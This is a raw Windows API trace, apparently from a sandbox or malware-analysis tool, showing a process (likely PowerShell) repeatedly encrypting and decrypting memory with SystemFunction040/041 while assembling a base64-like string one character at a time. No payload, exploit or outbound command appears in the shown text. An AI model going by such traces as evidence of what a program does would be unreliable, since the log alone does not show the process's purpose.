[0128.744] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.744] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBz뿼摥췛柳徑") returned 0x20 [0128.745] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.745] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\xb3f1\x94e0\x77e5\x9881\x3f44\x88e2\x17f7\xbea9") returned 0x20 [0128.745] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\xb3f1\x94e0\x77e5\x9881\x3f44\x88e2\x17f7\xbea9") returned 0x20 [0128.745] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.745] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzT摥췛柳徑") returned 0x20 [0128.745] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.745] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x349d\x17e3\x1ef4\x1ae4\x6f74\xd293\xedf6\x9470") returned 0x20 [0128.745] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x349d\x17e3\x1ef4\x1ae4\x6f74\xd293\xedf6\x9470") returned 0x20 [0128.745] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.745] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzTy췛柳徑") returned 0x20 [0128.745] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.745] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\xe319\xf897\xd643\x514d\x6928\xbf07\xf1ed\x8c11") returned 0x20 [0128.745] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\xe319\xf897\xd643\x514d\x6928\xbf07\xf1ed\x8c11") returned 0x20 [0128.745] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.745] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzTyV췛柳徑") returned 0x20 [0128.745] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.745] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x97f2\x752f\x5ddf\x2f98\x9b57\x15b8\xf579\x9de1") returned 0x20 [0128.745] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x97f2\x752f\x5ddf\x2f98\x9b57\x15b8\xf579\x9de1") returned 0x20 [0128.745] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.746] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzTyVj柳徑") returned 0x20 [0128.746] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.746] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\xa7a2\x7c69\x320e\xb143\xc4b9\x77d8\x47f8\x92f6") returned 0x20 [0128.746] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\xa7a2\x7c69\x320e\xb143\xc4b9\x77d8\x47f8\x92f6") returned 0x20 [0128.746] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.746] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzTyVjG徑") returned 0x20 [0128.746] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.746] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x970\xe379\x63bd\x3f35\xe3ff\xcb3f\x66e\x9210") returned 0x20 [0128.746] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x970\xe379\x63bd\x3f35\xe3ff\xcb3f\x66e\x9210") returned 0x20 [0128.746] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.746] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzTyVjG/") returned 0x20 [0128.746] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.746] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c") returned 0x20 [0128.746] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c") returned 0x20 [0128.746] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c") returned 0x20 [0128.746] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c") returned 0x28 [0128.746] SystemFunction041 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.746] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzTyVjG/D៍끿麿둆ѝ싚沿") returned 0x28 [0128.746] SystemFunction040 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.746] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\x81ca\xf557\x43ac\xc192\x1865\xeecd\xf191\xeafa") returned 0x28 [0128.746] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\x81ca\xf557\x43ac\xc192\x1865\xeecd\xf191\xeafa") returned 0x28 [0128.746] SystemFunction041 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.747] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzTyVjG/DB끿麿둆ѝ싚沿") returned 0x28 [0128.747] SystemFunction040 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.747] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\x3f87\x3a9f\xf6c1\xcbde\xf012\x404e\x338\x9e79") returned 0x28 [0128.747] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\x3f87\x3a9f\xf6c1\xcbde\xf012\x404e\x338\x9e79") returned 0x28 [0128.747] SystemFunction041 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.747] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzTyVjG/DBM麿둆ѝ싚沿") returned 0x28 [0128.747] SystemFunction040 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.747] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\x9da8\x337a\x4f02\x6ab7\xc9e9\x6e84\x971a\xfc33") returned 0x28 [0128.747] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\x9da8\x337a\x4f02\x6ab7\xc9e9\x6e84\x971a\xfc33") returned 0x28 [0128.747] SystemFunction041 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.747] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzTyVjG/DBM2둆ѝ싚沿") returned 0x28 [0128.747] SystemFunction040 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.747] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\x6422\x6cf1\xac0e\x77f2\xa07b\x255a\x4af7\x7007") returned 0x28 [0128.747] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\x6422\x6cf1\xac0e\x77f2\xa07b\x255a\x4af7\x7007") returned 0x28 [0128.747] SystemFunction041 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.747] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzTyVjG/DBM2bѝ싚沿") returned 0x28 [0128.747] SystemFunction040 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.747] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\x5e93\x6760\xd2ff\x5260\x4b71\xe114\xcba2\xbb46") returned 0x28 [0128.747] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\x5e93\x6760\xd2ff\x5260\x4b71\xe114\xcba2\xbb46") returned 0x28 [0128.747] SystemFunction041 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.747] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzTyVjG/DBM2ba싚沿") returned 0x28 [0128.747] SystemFunction040 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.747] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\x5f94\x7736\xd499\xd69\x5a3c\x3e71\x5151\xb821") returned 0x28 [0128.747] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\x5f94\x7736\xd499\xd69\x5a3c\x3e71\x5151\xb821") returned 0x28 [0128.748] SystemFunction041 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.748] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzTyVjG/DBM2bal沿") returned 0x28 [0128.748] SystemFunction040 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.748] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\xb3e8\xae73\x3f79\xbcbe\xb143\xd5d9\xa8eb\xcd98") returned 0x28 [0128.748] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\xb3e8\xae73\x3f79\xbcbe\xb143\xd5d9\xa8eb\xcd98") returned 0x28 [0128.748] SystemFunction041 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.748] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzTyVjG/DBM2bale") returned 0x28 [0128.748] SystemFunction040 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.748] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\xc086\x7afe\x23a9\x60e5\xf886\xb4f\x5ae0\x6f4") returned 0x28 [0128.748] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\xc086\x7afe\x23a9\x60e5\xf886\xb4f\x5ae0\x6f4") returned 0x28 [0128.748] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\xc086\x7afe\x23a9\x60e5\xf886\xb4f\x5ae0\x6f4") returned 0x28 [0128.748] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\xc086\x7afe\x23a9\x60e5\xf886\xb4f\x5ae0\x6f4") returned 0x30 [0128.748] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0128.748] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzTyVjG/DBM2baleY竔僡懣㱆ῚἛ㘧") returned 0x30 [0128.748] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0128.748] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\xc086\x7afe\x23a9\x60e5\xf886\xb4f\x5ae0\x6f4\xc301\x3a2f\x8a84\x2a6c\xfd02\xdf5d\xac4f\xc7e2") returned 0x30 [0128.748] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\xc086\x7afe\x23a9\x60e5\xf886\xb4f\x5ae0\x6f4\xc301\x3a2f\x8a84\x2a6c\xfd02\xdf5d\xac4f\xc7e2") returned 0x30 [0128.748] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0128.748] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzTyVjG/DBM2baleYt僡懣㱆ῚἛ㘧") returned 0x30 [0128.748] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0128.749] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\xc086\x7afe\x23a9\x60e5\xf886\xb4f\x5ae0\x6f4\x6681\x3e5c\xbabe\x7a5\x81d8\x165a\x3909\xfeb9") returned 0x30 [0128.749] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\xc086\x7afe\x23a9\x60e5\xf886\xb4f\x5ae0\x6f4\x6681\x3e5c\xbabe\x7a5\x81d8\x165a\x3909\xfeb9") returned 0x30 [0128.749] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0128.749] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzTyVjG/DBM2baleYtk懣㱆ῚἛ㘧") returned 0x30 [0128.749] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0128.749] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\xc086\x7afe\x23a9\x60e5\xf886\xb4f\x5ae0\x6f4\x196f\xc50a\x233f\x175e\xdd89\xe22b\xe5ec\xe16") returned 0x30 [0128.749] SysStringLen (param_1="\xe4df\x5ebb\xe6e0\xa4b4\x7908\x563\xc2d5\x3572\x64c3\xdbf7\xf3e5\xc0f2\xdf97\x723e\x3d86\x16fb\xfee5\xa795\xccb4\x6563\x26e7\xd94e\xbc32\x6f42\x178b\x17e7\xc337\x9fb9\x7086\x10c8\x8721\x5c6c\xc086\x7afe\x23a9\x60e5\xf886\xb4f\x5ae0\x6f4\x196f\xc50a\x233f\x175e\xdd89\xe22b\xe5ec\xe16") returned 0x30 [0128.749] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0128.749] SysStringLen (param_1="QQv2nmYzN0cc+hRvOQXD9BmhBzTyVjG/DBM2baleYtk=㱆ῚἛ㘧") returned 0x30 [0128.749] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0128.749] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.749] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.749] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.749] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5fc, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0128.749] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.749] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae934*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae934*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.749] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.750] SysStringLen (param_1="") returned 0x8 [0128.750] SysStringLen (param_1="Y") returned 0x8 [0128.750] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.750] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0128.750] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0128.750] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.750] SysStringLen (param_1="YW") returned 0x8 [0128.750] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.750] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0128.750] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0128.750] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.750] SysStringLen (param_1="YWM") returned 0x8 [0128.750] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.750] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0128.750] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0128.750] SystemFunction041 